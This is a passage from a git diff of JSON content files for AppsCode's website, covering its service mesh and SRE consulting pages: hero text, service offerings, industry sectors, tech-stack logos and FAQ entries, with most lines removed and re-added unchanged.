- "icon": "fa fa-shield", - "title": "Zero Trust Security & Compliance" - }, - { - "icon": "fa fa-undo", - "title": "Built-in Failure Recovery & Resilience" - }, - { - "icon": "fa fa-rocket", - "title": "Intelligent Traffic Management" - }, - { - "icon": "fa fa-cogs", - "title": "Granular Service Routing & Policies" - }, - { - "icon": "fa fa-database", - "title": "Multi-Mesh, Kubernetes & VM Support" - }, - { - "icon": "fa fa-eye", - "title": "Unified Observability & Metrics" - }, - { - "icon": "fa fa-cloud", - "title": "Hybrid Cloud & Multi-Cluster Ready" - }, - { - "icon": "fa fa-lock", - "title": "Secure Service-to-Service Communication" - } - ] - }, - "service_details": { - "title": "Comprehensive Enterprise Service Mesh Consulting Services", - "subtitle": "AppsCode provides full lifecycle service mesh consulting — strategy, deployment, optimization, and managed support for modern microservices. ", - "sections": [ - { - "title": "Consulting & Advisory", - "description": "Analyze your microservices architecture, identify bottlenecks, and define a strategic service mesh roadmap aligned with business objectives.", - "offerings": [ - "Assess existing infrastructure for performance and security gaps.", - "Design adoption strategy tailored to your environment and workloads.", - "Recommend the most suitable service mesh — Istio, Linkerd, Consul, Traefik, or OSM." - ], - "image": "/assets/images/services/service-mesh-consulting-advisory.png" - }, - { - "title": "Deployment & Implementation", - "description": "Implement your chosen service mesh with minimal downtime while enabling full service communication, security, and reliability.", - "offerings": [ - "Install and configure Istio, Linkerd, Consul, or Traefik on Kubernetes, VMs, or hybrid setups.", - "Enable end-to-end encryption and zero-trust security between services.", - "Implement canary, blue-green, and rolling deployments for seamless updates." - ], - "image": "/assets/images/services/service-mesh-consulting-deployment.png" - }, - { - "title": "Integration & Configuration", - "description": "Integrate your mesh with observability, tracing, and alerting tools to gain full visibility and control.", - "offerings": [ - "Build a unified dashboard for real-time monitoring and traffic management.", - "Detect bottlenecks, latency, and dependencies in complex microservices environments.", - "Apply intelligent routing, policy-based management, and fault tolerance strategies." - ], - "image": "/assets/images/services/service-mesh-consulting-integration.png" - }, - { - "title": "Support & Training", - "description": "Upskill your team and ensure enterprise-grade support from certified service mesh experts.", - "offerings": [ - "Continuous commercial support for upgrades, patches, and troubleshooting.", - "Hands-on workshops and training to build in-house service mesh expertise.", - "Vendor-neutral guidance for optimal deployment, scaling, and reliability." - ], - "image": "/assets/images/services/service-mesh-consulting-support.png" - } - ] - }, - "cards": { - "title": "Why Choose AppsCode for Enterprise Service Mesh?", - "items": [ - { - "logo": "/assets/images/services/icons8/ios-glyphs-30-certificate.png", - "title": "CNCF Silver Member", - "description": "A CNCF Silver Member and a regular sponsor of KubeCon + CloudNativeCon." - }, - { - "icon": "fa fa-users", - "title": "Certified Engineering Team", - "description": "50+ engineers specializing in Kubernetes, containers, and cloud-native platforms—helping you build, scale, and automate with confidence." - }, - { - "icon": "fa fa-briefcase", - "title": "Deep Domain Expertise", - "description": "90% in-house team — no outsourcing, full accountability, best practices guaranteed." - }, - { - "icon": "fa fa-trophy", - "title": "Community Leadership", - "description": "Contributors to 50+ open source cloud-native and DevOps projects." - }, - { - "icon": "fa fa-graduation-cap", - "title": "Pioneers in Kubernetes", - "description": "US-based pioneer in Kubernetes products and services with years of field expertise." - }, - { - "icon": "fa fa-wrench", - "title": "Official Partners", - "description": "Recognized commercial support partner for Istio and Linkerd." - } - ] - }, - "industries": { - "title": "Industry Expertise that Drives Results", - "subtitle": "We bring proven experience from 100+ clients across sectors — understanding compliance, scalability, and reliability needs.", - "additional_text": "Whether you’re a global enterprise or a fast-scaling startup, we help you adopt service mesh confidently and efficiently.", - "sectors": [ - { - "icon": "fa fa-bank", - "title": "Banking & Finance", - "description": "Enable compliant, resilient, and secure transactions across distributed systems." - }, - { - "icon": "fa fa-laptop", - "title": "Technology & SaaS", - "description": "Optimize cloud-native SaaS products with performance and observability baked in." - }, - { - "icon": "fa fa-car", - "title": "Automotive", - "description": "Enhance safety and innovation with reliable microservice communication." - }, - { - "icon": "fa fa-plug", - "title": "Energy & Utilities", - "description": "Modernize monitoring and resource management for reduced operational cost." - }, - { - "icon": "fa fa-hospital-o", - "title": "Healthcare", - "description": "Secure and accelerate patient data processing across multi-cloud infrastructure." - }, - { - "icon": "fa fa-plane", - "title": "Travel & Hospitality", - "description": "Deliver smooth digital experiences with reliable and scalable service mesh setups." - } - ] - }, - "tech_stack": { - "title": "Choosing the Right Service Mesh — Simplified", - "subtitle": "We help you evaluate, deploy, and manage the best-fit mesh for your workloads.", - "technologies": [ - { - "name": "Kubernetes", - "logo": "/assets/images/technical-expertise/kubernetes.svg" - }, - { - "name": "Red Hat OpenShift", - "logo": "/assets/images/technical-expertise/openshift.svg" - }, - { - "name": "Rancher by SUSE", - "logo": "/assets/images/technical-expertise/rancher.svg" - }, - { - "name": "Amazon EKS", - "logo": "/assets/images/technical-expertise/eks.svg" - }, - { - "name": "Azure AKS", - "logo": "/assets/images/technical-expertise/aks.svg" - }, - { - "name": "Google GKE", - "logo": "/assets/images/technical-expertise/gke.svg" - }, - { - "name": "ArgoCD", - "logo": "/assets/images/technical-expertise/argocd.svg" - }, - { - "name": "FluxCD", - "logo": "/assets/images/technical-expertise/fluxcd.svg" - }, - { - "name": "Helm", - "logo": "/assets/images/technical-expertise/helm.svg" - }, - { - "name": "KubeDB", - "logo": "/assets/images/technical-expertise/kubedb.svg" - }, - { - "name": "KubeStash", - "logo": "/assets/images/technical-expertise/stash.svg" - }, - { - "name": "Voyager Gateway", - "logo": "/assets/images/technical-expertise/voyager.svg" - }, - { - "name": "OpenTelemetry", - "logo": "/assets/images/technical-expertise/opentelemetry.svg" - }, - { - "name": "Prometheus", - "logo": "/assets/images/technical-expertise/prometheus.svg" - }, - { - "name": "Thanos", - "logo": "/assets/images/technical-expertise/thanos.svg" - }, - { - "name": "Grafana", - "logo": "/assets/images/technical-expertise/grafana.svg" - }, - { - "name": "Terraform", - "logo": "/assets/images/technical-expertise/terraform.svg" - }, - { - "name": "Vault", - "logo": "/assets/images/technical-expertise/vault.svg" - }, - { - "name": "Open Policy Agent", - "logo": "/assets/images/technical-expertise/open-policy-agent.png" - }, - { - "name": "OpenFGA", - "logo": "/assets/images/technical-expertise/openfga.svg" - } - ] - }, - "large_preview_cards": { - "title": "Service Mesh Experts for Every Stack", - "items": [ - { - "icon": "fa fa-rocket", - "title": "Istio Experts", - "description": "As an official Istio partner, we guide you through every phase — from strategy and setup to advanced configuration, monitoring, and managed enterprise support.", - "image": "https://placehold.co/600x400?text=Istio+Experts" - }, - { - "icon": "fa fa-rocket", - "title": "Linkerd Experts", - "description": "Deploy, optimize, and maintain Linkerd with certified consultants. From training and configuration to observability and ongoing support — we’ve got you covered.", - "image": "https://placehold.co/600x400?text=Linkerd+Experts" - }, - { - "icon": "fa fa-rocket", - "title": "Consul Experts", - "description": "Design, deploy, and secure Consul for reliable service discovery and encrypted communication. Get full lifecycle support for scaling and monitoring Consul-based environments.", - "image": "https://placehold.co/600x400?text=Consul+Experts" - } - ] - }, - "faq": [ - { - "question": "What do your Service Mesh Consulting services include?", - "answer": "Our Service Mesh Consulting services help organizations design, implement, and optimize service mesh architectures for microservices. We cover service-to-service communication, traffic management, security policies, observability, and reliability to ensure resilient and secure application delivery." - }, - { - "question": "Which technologies and practices are used in Service Mesh consulting?", - "answer": "We leverage Istio, Linkerd, Envoy, Kubernetes, and observability tools to implement service mesh patterns. Our approach focuses on secure communication, traffic routing, load balancing, telemetry, and fault tolerance to enhance microservices performance and reliability." - }, - { - "question": "Can you work with our existing microservices and Kubernetes infrastructure?", - "answer": "Yes — we integrate the service mesh with your existing microservices and Kubernetes clusters, optimize traffic management, enforce security policies, and provide guidance on best practices to ensure smooth adoption." - }, - { - "question": "What is the typical timeline and engagement model for Service Mesh Consulting?", - "answer": "Engagements usually start with a 1–2 week assessment of your microservices architecture and communication patterns. Implementation follows in 4–8 week phases. We offer fixed-scope projects, time-and-materials consulting, or long-term service mesh advisory partnerships." - }, - { - "question": "Do Service Mesh Consulting services support multi-cloud or hybrid environments?", - "answer": "Absolutely. Our consulting services are designed for hybrid and multi-cloud deployments, ensuring consistent service-to-service communication, security, and observability across AWS, Azure, GCP, and on-premises Kubernetes clusters." - }, - { - "question": "How do you ensure security, reliability, and observability in the service mesh?", - "answer": "We enforce secure mTLS communication, role-based access control, monitoring, logging, tracing, automated retries, and fault injection for resilience. These measures help maintain secure, reliable, and observable microservices communication." - }, - { - "question": "What happens after Service Mesh Consulting and implementation?", - "answer": "After implementation, we provide ongoing guidance, monitoring, and optimization. Our services include knowledge transfer, training, best practice documentation, and continuous improvement recommendations for long-term success." - }, - { - "question": "How much do Service Mesh Consulting services cost, and what are the pricing models?", - "answer": "Pricing depends on microservices complexity, number of clusters, and support requirements. We offer fixed-scope projects, hourly consulting, and long-term retainers. Detailed proposals are provided after the assessment phase." - } - ], - "final_cta": { - "title": "Need Enterprise Service Mesh Support?", - "subtitle": "AppsCode ensures a smooth, secure, and high-performing service mesh adoption journey for your organization.", - "buttons": [ - { - "text": "Talk to a Service Mesh Expert", - "icon": "fa fa-calendar", - "type": "outlined" - } - ] - } -} +{ + "hero": { + "title": "Enterprise Service Mesh Consulting & Implementation Experts", + "subtitle": "Accelerate your microservices journey with experts in Istio, ensuring security, reliability, and observability.", + "cta_text": "Talk to Service Mesh Experts", + "cta_url": "https://appscode.com/contact/", + "illustration": { + "src": "/assets/images/services/service-mesh-consulting.png", + "alt": "Enterprise Service Mesh Consulting & Support" + } + }, + "trusted_by": { + "title": "Trusted by Leading Global Enterprises" + }, + "title_with_small_cards": { + "title": "Why Choose Service Mesh Consulting?", + "areas": [ + { + "icon": "fa fa-shield", + "title": "Zero Trust Security & Compliance" + }, + { + "icon": "fa fa-undo", + "title": "Built-in Failure Recovery & Resilience" + }, + { + "icon": "fa fa-rocket", + "title": "Intelligent Traffic Management" + }, + { + "icon": "fa fa-cogs", + "title": "Granular Service Routing & Policies" + }, + { + "icon": "fa fa-database", + "title": "Multi-Mesh, Kubernetes & VM Support" + }, + { + "icon": "fa fa-eye", + "title": "Unified Observability & Metrics" + }, + { + "icon": "fa fa-cloud", + "title": "Hybrid Cloud & Multi-Cluster Ready" + }, + { + "icon": "fa fa-lock", + "title": "Secure Service-to-Service Communication" + } + ] + }, + "service_details": { + "title": "Comprehensive Enterprise Service Mesh Consulting Services", + "subtitle": "AppsCode provides full lifecycle service mesh consulting — strategy, deployment, optimization, and managed support for modern microservices. ", + "sections": [ + { + "title": "Consulting & Advisory", + "description": "Analyze your microservices architecture, identify bottlenecks, and define a strategic service mesh roadmap aligned with business objectives.", + "offerings": [ + "Assess existing infrastructure for performance and security gaps.", + "Design adoption strategy tailored to your environment and workloads.", + "Recommend the most suitable service mesh — Istio, Linkerd, Consul, Traefik, or OSM." + ], + "image": "/assets/images/services/service-mesh-consulting-advisory.png" + }, + { + "title": "Deployment & Implementation", + "description": "Implement your chosen service mesh with minimal downtime while enabling full service communication, security, and reliability.", + "offerings": [ + "Install and configure Istio, Linkerd, Consul, or Traefik on Kubernetes, VMs, or hybrid setups.", + "Enable end-to-end encryption and zero-trust security between services.", + "Implement canary, blue-green, and rolling deployments for seamless updates." + ], + "image": "/assets/images/services/service-mesh-consulting-deployment.png" + }, + { + "title": "Integration & Configuration", + "description": "Integrate your mesh with observability, tracing, and alerting tools to gain full visibility and control.", + "offerings": [ + "Build a unified dashboard for real-time monitoring and traffic management.", + "Detect bottlenecks, latency, and dependencies in complex microservices environments.", + "Apply intelligent routing, policy-based management, and fault tolerance strategies." + ], + "image": "/assets/images/services/service-mesh-consulting-integration.png" + }, + { + "title": "Support & Training", + "description": "Upskill your team and ensure enterprise-grade support from certified service mesh experts.", + "offerings": [ + "Continuous commercial support for upgrades, patches, and troubleshooting.", + "Hands-on workshops and training to build in-house service mesh expertise.", + "Vendor-neutral guidance for optimal deployment, scaling, and reliability." + ], + "image": "/assets/images/services/service-mesh-consulting-support.png" + } + ] + }, + "cards": { + "title": "Why Choose AppsCode for Enterprise Service Mesh?", + "items": [ + { + "logo": "/assets/images/services/icons8/ios-glyphs-30-certificate.png", + "title": "CNCF Silver Member", + "description": "A CNCF Silver Member and a regular sponsor of KubeCon + CloudNativeCon." + }, + { + "icon": "fa fa-users", + "title": "Certified Engineering Team", + "description": "50+ engineers specializing in Kubernetes, containers, and cloud-native platforms—helping you build, scale, and automate with confidence." + }, + { + "icon": "fa fa-briefcase", + "title": "Deep Domain Expertise", + "description": "90% in-house team — no outsourcing, full accountability, best practices guaranteed." + }, + { + "icon": "fa fa-trophy", + "title": "Community Leadership", + "description": "Contributors to 50+ open source cloud-native and DevOps projects." + }, + { + "icon": "fa fa-graduation-cap", + "title": "Pioneers in Kubernetes", + "description": "US-based pioneer in Kubernetes products and services with years of field expertise." + }, + { + "icon": "fa fa-wrench", + "title": "Official Partners", + "description": "Recognized commercial support partner for Istio and Linkerd." + } + ] + }, + "industries": { + "title": "Industry Expertise that Drives Results", + "subtitle": "We bring proven experience from 100+ clients across sectors — understanding compliance, scalability, and reliability needs.", + "additional_text": "Whether you’re a global enterprise or a fast-scaling startup, we help you adopt service mesh confidently and efficiently.", + "sectors": [ + { + "icon": "fa fa-bank", + "title": "Banking & Finance", + "description": "Enable compliant, resilient, and secure transactions across distributed systems." + }, + { + "icon": "fa fa-laptop", + "title": "Technology & SaaS", + "description": "Optimize cloud-native SaaS products with performance and observability baked in." + }, + { + "icon": "fa fa-car", + "title": "Automotive", + "description": "Enhance safety and innovation with reliable microservice communication." + }, + { + "icon": "fa fa-plug", + "title": "Energy & Utilities", + "description": "Modernize monitoring and resource management for reduced operational cost." + }, + { + "icon": "fa fa-hospital-o", + "title": "Healthcare", + "description": "Secure and accelerate patient data processing across multi-cloud infrastructure." + }, + { + "icon": "fa fa-plane", + "title": "Travel & Hospitality", + "description": "Deliver smooth digital experiences with reliable and scalable service mesh setups." + } + ] + }, + "tech_stack": { + "title": "Choosing the Right Service Mesh — Simplified", + "subtitle": "We help you evaluate, deploy, and manage the best-fit mesh for your workloads.", + "technologies": [ + { + "name": "Kubernetes", + "logo": "/assets/images/technical-expertise/kubernetes.svg" + }, + { + "name": "Red Hat OpenShift", + "logo": "/assets/images/technical-expertise/openshift.svg" + }, + { + "name": "Rancher by SUSE", + "logo": "/assets/images/technical-expertise/rancher.svg" + }, + { + "name": "Amazon EKS", + "logo": "/assets/images/technical-expertise/eks.svg" + }, + { + "name": "Azure AKS", + "logo": "/assets/images/technical-expertise/aks.svg" + }, + { + "name": "Google GKE", + "logo": "/assets/images/technical-expertise/gke.svg" + }, + { + "name": "ArgoCD", + "logo": "/assets/images/technical-expertise/argocd.svg" + }, + { + "name": "FluxCD", + "logo": "/assets/images/technical-expertise/fluxcd.svg" + }, + { + "name": "Helm", + "logo": "/assets/images/technical-expertise/helm.svg" + }, + { + "name": "KubeDB", + "logo": "/assets/images/technical-expertise/kubedb.svg" + }, + { + "name": "KubeStash", + "logo": "/assets/images/technical-expertise/stash.svg" + }, + { + "name": "Voyager Gateway", + "logo": "/assets/images/technical-expertise/voyager.svg" + }, + { + "name": "OpenTelemetry", + "logo": "/assets/images/technical-expertise/opentelemetry.svg" + }, + { + "name": "Prometheus", + "logo": "/assets/images/technical-expertise/prometheus.svg" + }, + { + "name": "Thanos", + "logo": "/assets/images/technical-expertise/thanos.svg" + }, + { + "name": "Grafana", + "logo": "/assets/images/technical-expertise/grafana.svg" + }, + { + "name": "Terraform", + "logo": "/assets/images/technical-expertise/terraform.svg" + }, + { + "name": "Vault", + "logo": "/assets/images/technical-expertise/vault.svg" + }, + { + "name": "Open Policy Agent", + "logo": "/assets/images/technical-expertise/open-policy-agent.png" + }, + { + "name": "OpenFGA", + "logo": "/assets/images/technical-expertise/openfga.svg" + } + ] + }, + "large_preview_cards": { + "title": "Service Mesh Experts for Every Stack", + "items": [ + { + "icon": "fa fa-rocket", + "title": "Istio Experts", + "description": "As an official Istio partner, we guide you through every phase — from strategy and setup to advanced configuration, monitoring, and managed enterprise support.", + "image": "https://placehold.co/600x400?text=Istio+Experts" + }, + { + "icon": "fa fa-rocket", + "title": "Linkerd Experts", + "description": "Deploy, optimize, and maintain Linkerd with certified consultants. From training and configuration to observability and ongoing support — we’ve got you covered.", + "image": "https://placehold.co/600x400?text=Linkerd+Experts" + }, + { + "icon": "fa fa-rocket", + "title": "Consul Experts", + "description": "Design, deploy, and secure Consul for reliable service discovery and encrypted communication. Get full lifecycle support for scaling and monitoring Consul-based environments.", + "image": "https://placehold.co/600x400?text=Consul+Experts" + } + ] + }, + "faq": [ + { + "question": "What do your Service Mesh Consulting services include?", + "answer": "Our Service Mesh Consulting services help organizations design, implement, and optimize service mesh architectures for microservices. We cover service-to-service communication, traffic management, security policies, observability, and reliability to ensure resilient and secure application delivery." + }, + { + "question": "Which technologies and practices are used in Service Mesh consulting?", + "answer": "We leverage Istio, Linkerd, Envoy, Kubernetes, and observability tools to implement service mesh patterns. Our approach focuses on secure communication, traffic routing, load balancing, telemetry, and fault tolerance to enhance microservices performance and reliability." + }, + { + "question": "Can you work with our existing microservices and Kubernetes infrastructure?", + "answer": "Yes — we integrate the service mesh with your existing microservices and Kubernetes clusters, optimize traffic management, enforce security policies, and provide guidance on best practices to ensure smooth adoption." + }, + { + "question": "What is the typical timeline and engagement model for Service Mesh Consulting?", + "answer": "Engagements usually start with a 1–2 week assessment of your microservices architecture and communication patterns. Implementation follows in 4–8 week phases. We offer fixed-scope projects, time-and-materials consulting, or long-term service mesh advisory partnerships." + }, + { + "question": "Do Service Mesh Consulting services support multi-cloud or hybrid environments?", + "answer": "Absolutely. Our consulting services are designed for hybrid and multi-cloud deployments, ensuring consistent service-to-service communication, security, and observability across AWS, Azure, GCP, and on-premises Kubernetes clusters." + }, + { + "question": "How do you ensure security, reliability, and observability in the service mesh?", + "answer": "We enforce secure mTLS communication, role-based access control, monitoring, logging, tracing, automated retries, and fault injection for resilience. These measures help maintain secure, reliable, and observable microservices communication." + }, + { + "question": "What happens after Service Mesh Consulting and implementation?", + "answer": "After implementation, we provide ongoing guidance, monitoring, and optimization. Our services include knowledge transfer, training, best practice documentation, and continuous improvement recommendations for long-term success." + }, + { + "question": "How much do Service Mesh Consulting services cost, and what are the pricing models?", + "answer": "Pricing depends on microservices complexity, number of clusters, and support requirements. We offer fixed-scope projects, hourly consulting, and long-term retainers. Detailed proposals are provided after the assessment phase." + } + ], + "final_cta": { + "title": "Need Enterprise Service Mesh Support?", + "subtitle": "AppsCode ensures a smooth, secure, and high-performing service mesh adoption journey for your organization.", + "buttons": [ + { + "text": "Talk to a Service Mesh Expert", + "icon": "fa fa-calendar", + "type": "outlined" + } + ] + } +} diff --git a/data/services/site-reliability-engineering/sre_consulting_services.json b/data/services/site-reliability-engineering/sre_consulting_services.json index 43a09023a0..f276cd0e99 100644 --- a/data/services/site-reliability-engineering/sre_consulting_services.json +++ b/data/services/site-reliability-engineering/sre_consulting_services.json @@ -1,327 +1,327 @@ -{ - "hero": { - "title": "Professional Site Reliability Engineering (SRE) Consulting & Support", - "subtitle": "Transform your operations with expert-led SRE adoption, improving reliability, performance, and scalability across your enterprise systems.", - "cta_text": "Talk to a SRE Expert", - "cta_url": "https://appscode.com/contact/", - "illustration": { - "src": "/assets/images/services/sre-consulting-services.png", - "alt": "Site Reliability Engineering Consulting & Support" - } - }, - "trusted_by": { - "title": "Trusted by Leading Enterprises Globally" - }, - "title_with_small_cards": { - "title": "Benefits of SRE Consulting Services", - "areas": [ - { - "icon": "fa fa-rocket", - "title": "Accelerate Feature Delivery & Product Releases" - }, - { - "icon": "fa fa-shield", - "title": "Ensure Production Stability & Reliability" - }, - { - "icon": "fa fa-database", - "title": "Comprehensive Observability & Monitoring" - }, - { - "icon": "fa fa-bug", - "title": "Enhance DevOps Workflows with CI/CD Automation" - }, - { - "icon": "fa fa-cogs", - "title": "Automate Infrastructure Provisioning" - }, - { - "icon": "fa fa-dollar", - "title": "Optimize Costs & Capacity Planning" - }, - { - "icon": "fa fa-server", - "title": "Manage Kubernetes Clusters & Storage" - }, - { - "icon": "fa fa-shield", - "title": "Ensure Security, Compliance & Governance" - } - ] - }, - "service_details": { - "title": "Enterprise SRE Consulting & Implementation Services", - "subtitle": "AppsCode provides end-to-end SRE consulting, from strategy and assessment to implementation and ongoing support for enterprise systems.", - "sections": [ - { - "title": "SRE Advisory & Strategic Planning", - "description": "Define a clear roadmap for SRE adoption tailored to your organization by assessing systems, automation, and operational workflows.", - "offerings": [ - "Audit current infrastructure, CI/CD pipelines, and monitoring setups.", - "Define SLIs (Service Level Indicators) and SLOs (Service Level Objectives) aligned with business goals.", - "Implement error budgets, incident policies, and reliability metrics.", - "Recommend industry-standard SRE practices to enhance system reliability." - ], - "image": "/assets/images/services/sre-consulting-strategy.png" - }, - { - "title": "Automated SDLC & Infrastructure Management", - "description": "Accelerate delivery by automating infrastructure and application deployments across multi-cloud and hybrid environments.", - "offerings": [ - "Implement CI/CD pipelines for consistent and reliable software delivery.", - "Adopt progressive delivery for cloud-native applications with minimal downtime.", - "Manage Kubernetes orchestration, auto-scaling, and configuration for high availability." - ], - "image": "/assets/images/services/sre-consulting-infrastructure-management.png" - }, - { - "title": "Observability, Monitoring & Metrics", - "description": "Gain end-to-end observability to proactively identify and resolve issues while optimizing system performance.", - "offerings": [ - "Deploy comprehensive monitoring, logging, and alerting across infrastructure and applications.", - "Generate actionable metrics to continuously improve reliability and performance." - ], - "image": "/assets/images/services/sre-consulting-observability.png" - }, - { - "title": "Incident Management & Remediation", - "description": "Establish processes for on-call support, emergency troubleshooting, and operational runbooks to minimize downtime.", - "offerings": [ - "Conduct post-mortem analysis to prevent recurrence of incidents.", - "Apply expert Linux/Unix and cloud troubleshooting techniques." - ], - "image": "/assets/images/services/sre-consulting-incident-management.png" - }, - { - "title": "Disaster Recovery & Resilience Testing", - "description": "Ensure business continuity through automated disaster recovery strategies and resilience testing for containerized applications.", - "offerings": [ - "Design and execute chaos engineering experiments to validate system resilience." - ], - "image": "/assets/images/services/sre-consulting-disaster-recovery.png" - }, - { - "title": "Security, Governance & Cost Optimization", - "description": "Protect systems, maintain compliance, and optimize operational costs across cloud and hybrid infrastructures.", - "offerings": [ - "Perform security audits and vulnerability remediation.", - "Implement capacity planning and rightsizing for optimized resource usage.", - "Monitor and control operational costs effectively." - ], - "image": "/assets/images/services/sre-consulting-security-governance.png" - }, - { - "title": "SRE Training & Knowledge Transfer", - "description": "Empower teams with hands-on training in SRE best practices for ongoing operational excellence.", - "offerings": [ - "Train internal teams on SRE principles and DevOps integration.", - "Create comprehensive documentation and knowledge bases for continuous learning." - ], - "image": "/assets/images/services/sre-consulting-training.png" - } - ] - }, - "cards": { - "title": "Why Partner with AppsCode for SRE Consulting?", - "items": [ - { - "logo": "/assets/images/services/icons8/ios-glyphs-30-certificate.png", - "title": "Certified Experts", - "description": "50+ engineers specializing in Kubernetes, containers, and cloud-native platforms—helping you build, scale, and automate with confidence." - }, - { - "icon": "fa fa-briefcase", - "title": "Domain Experience", - "description": "Proven SRE and cloud-native practices across 100+ clients." - }, - { - "icon": "fa fa-trophy", - "title": "First Mover Advantage", - "description": "US-based pioneer in Kubernetes products and services with years of field expertise." - }, - { - "icon": "fa fa-graduation-cap", - "title": "Hands-On Training", - "description": "Practical training to build in-house SRE expertise." - }, - { - "logo": "/assets/images/services/icons8/ios-glyphs-30-certificate.png", - "title": "CNCF Silver Member", - "description": "A CNCF Silver Member and a regular sponsor of KubeCon + CloudNativeCon." - }, - { - "icon": "fa fa-wrench", - "title": "Scale Teams Easily", - "description": "Easily expand engineering teams without recruitment overhead." - } - ] - }, - "industries": { - "title": "Industry Expertise", - "subtitle": "We help 100+ clients across sectors tackle operational challenges, compliance, and reliability.", - "additional_text": "From global enterprises to high-growth startups, we deliver scalable, reliable, and secure SRE solutions.", - "sectors": [ - { - "icon": "fa fa-bank", - "title": "Banking & Finance", - "description": "Ensure compliant and resilient production systems for financial services." - }, - { - "icon": "fa fa-laptop", - "title": "Technology & SaaS", - "description": "Integrate SRE practices into cloud-native SaaS and AI applications." - }, - { - "icon": "fa fa-car", - "title": "Automotive", - "description": "Deliver reliable and safe systems to meet evolving customer expectations." - }, - { - "icon": "fa fa-plug", - "title": "Energy, Oil & Gas", - "description": "Modernize monitoring and resource management to optimize operations." - }, - { - "icon": "fa fa-hospital-o", - "title": "Healthcare", - "description": "Ensure high-speed, reliable deployment for critical healthcare systems." - }, - { - "icon": "fa fa-plane", - "title": "Travel & Hospitality", - "description": "Provide seamless, scalable, and cost-efficient operations." - } - ] - }, - "tech_stack": { - "title": "Diverse Technical Expertise", - "subtitle": "Our engineers are proficient in:", - "technologies": [ - { - "name": "Kubernetes", - "logo": "/assets/images/technical-expertise/kubernetes.svg" - }, - { - "name": "Red Hat OpenShift", - "logo": "/assets/images/technical-expertise/openshift.svg" - }, - { - "name": "Rancher by SUSE", - "logo": "/assets/images/technical-expertise/rancher.svg" - }, - { - "name": "Amazon EKS", - "logo": "/assets/images/technical-expertise/eks.svg" - }, - { - "name": "Azure AKS", - "logo": "/assets/images/technical-expertise/aks.svg" - }, - { - "name": "Google GKE", - "logo": "/assets/images/technical-expertise/gke.svg" - }, - { - "name": "ArgoCD", - "logo": "/assets/images/technical-expertise/argocd.svg" - }, - { - "name": "FluxCD", - "logo": "/assets/images/technical-expertise/fluxcd.svg" - }, - { - "name": "Helm", - "logo": "/assets/images/technical-expertise/helm.svg" - }, - { - "name": "KubeDB", - "logo": "/assets/images/technical-expertise/kubedb.svg" - }, - { - "name": "KubeStash", - "logo": "/assets/images/technical-expertise/stash.svg" - }, - { - "name": "Voyager Gateway", - "logo": "/assets/images/technical-expertise/voyager.svg" - }, - { - "name": "OpenTelemetry", - "logo": "/assets/images/technical-expertise/opentelemetry.svg" - }, - { - "name": "Prometheus", - "logo": "/assets/images/technical-expertise/prometheus.svg" - }, - { - "name": "Thanos", - "logo": "/assets/images/technical-expertise/thanos.svg" - }, - { - "name": "Grafana", - "logo": "/assets/images/technical-expertise/grafana.svg" - }, - { - "name": "Terraform", - "logo": "/assets/images/technical-expertise/terraform.svg" - }, - { - "name": "Vault", - "logo": "/assets/images/technical-expertise/vault.svg" - }, - { - "name": "Open Policy Agent", - "logo": "/assets/images/technical-expertise/open-policy-agent.png" - }, - { - "name": "OpenFGA", - "logo": "/assets/images/technical-expertise/openfga.svg" - } - ] - }, - "faq": [ - { - "question": "What do your Site Reliability Engineering (SRE) Consulting services include?", - "answer": "Our Site Reliability Engineering (SRE) Consulting services help organizations improve system reliability, scalability, and performance. We cover service-level objectives (SLOs), incident management, monitoring, automation, and resilience strategies to ensure stable and efficient operations for critical applications." - }, - { - "question": "Which technologies and practices are used in SRE consulting?", - "answer": "We leverage Kubernetes, cloud-native architectures, observability tools, CI/CD pipelines, infrastructure as code, incident response automation, and performance monitoring. Our approach applies SRE best practices to enhance reliability, reduce downtime, and improve system performance." - }, - { - "question": "Can you work with our existing infrastructure and operations teams?", - "answer": "Yes — we integrate with your current systems and teams, assess reliability gaps, implement SRE practices, and provide guidance to optimize operational processes for improved service uptime and stability." - }, - { - "question": "What is the typical timeline and engagement model for SRE Consulting?", - "answer": "Engagements typically begin with a 1–2 week assessment of your infrastructure, operations, and reliability metrics. Implementation follows in 4–8 week phases. We offer fixed-scope projects, time-and-materials consulting, or long-term SRE advisory partnerships." - }, - { - "question": "Do SRE Consulting services support multi-cloud or hybrid environments?", - "answer": "Absolutely. Our SRE Consulting services are designed for hybrid and multi-cloud architectures, ensuring consistent reliability, monitoring, and incident management across AWS, Azure, GCP, and on-premises systems." - }, - { - "question": "How do you ensure security, reliability, and efficiency in SRE practices?", - "answer": "We enforce best practices including automated monitoring, alerting, access control, performance tuning, disaster recovery planning, and incident response automation. These measures help maintain secure, resilient, and efficient systems." - }, - { - "question": "What happens after SRE consulting and implementation?", - "answer": "After implementation, we provide ongoing guidance, monitoring, and optimization. Our services include knowledge transfer, SRE training, and recommendations for continuous reliability improvements and operational excellence." - }, - { - "question": "How much do Site Reliability Engineering (SRE) Consulting services cost, and what are the pricing models?", - "answer": "Pricing depends on infrastructure complexity, number of services, and ongoing support needs. We offer fixed-scope projects, hourly consulting, and long-term retainers. Detailed proposals are provided after the assessment phase." - } - ], - "final_cta": { - "title": "Looking for Expert SRE Support?", - "subtitle": "Our experienced SRE consultants help optimize reliability, performance, and operational efficiency using best practices and modern tools.", - "buttons": [ - { - "text": "Consult a SRE Expert", - "icon": "fa fa-calendar", - "type": "outlined" - } - ] - } -} +{ + "hero": { + "title": "Professional Site Reliability Engineering (SRE) Consulting & Support", + "subtitle": "Transform your operations with expert-led SRE adoption, improving reliability, performance, and scalability across your enterprise systems.", + "cta_text": "Talk to a SRE Expert", + "cta_url": "https://appscode.com/contact/", + "illustration": { + "src": "/assets/images/services/sre-consulting-services.png", + "alt": "Site Reliability Engineering Consulting & Support" + } + }, + "trusted_by": { + "title": "Trusted by Leading Enterprises Globally" + }, + "title_with_small_cards": { + "title": "Benefits of SRE Consulting Services", + "areas": [ + { + "icon": "fa fa-rocket", + "title": "Accelerate Feature Delivery & Product Releases" + }, + { + "icon": "fa fa-shield", + "title": "Ensure Production Stability & Reliability" + }, + { + "icon": "fa fa-database", + "title": "Comprehensive Observability & Monitoring" + }, + { + "icon": "fa fa-bug", + "title": "Enhance DevOps Workflows with CI/CD Automation" + }, + { + "icon": "fa fa-cogs", + "title": "Automate Infrastructure Provisioning" + }, + { + "icon": "fa fa-dollar", + "title": "Optimize Costs & Capacity Planning" + }, + { + "icon": "fa fa-server", + "title": "Manage Kubernetes Clusters & Storage" + }, + { + "icon": "fa fa-shield", + "title": "Ensure Security, Compliance & Governance" + } + ] + }, + "service_details": { + "title": "Enterprise SRE Consulting & Implementation 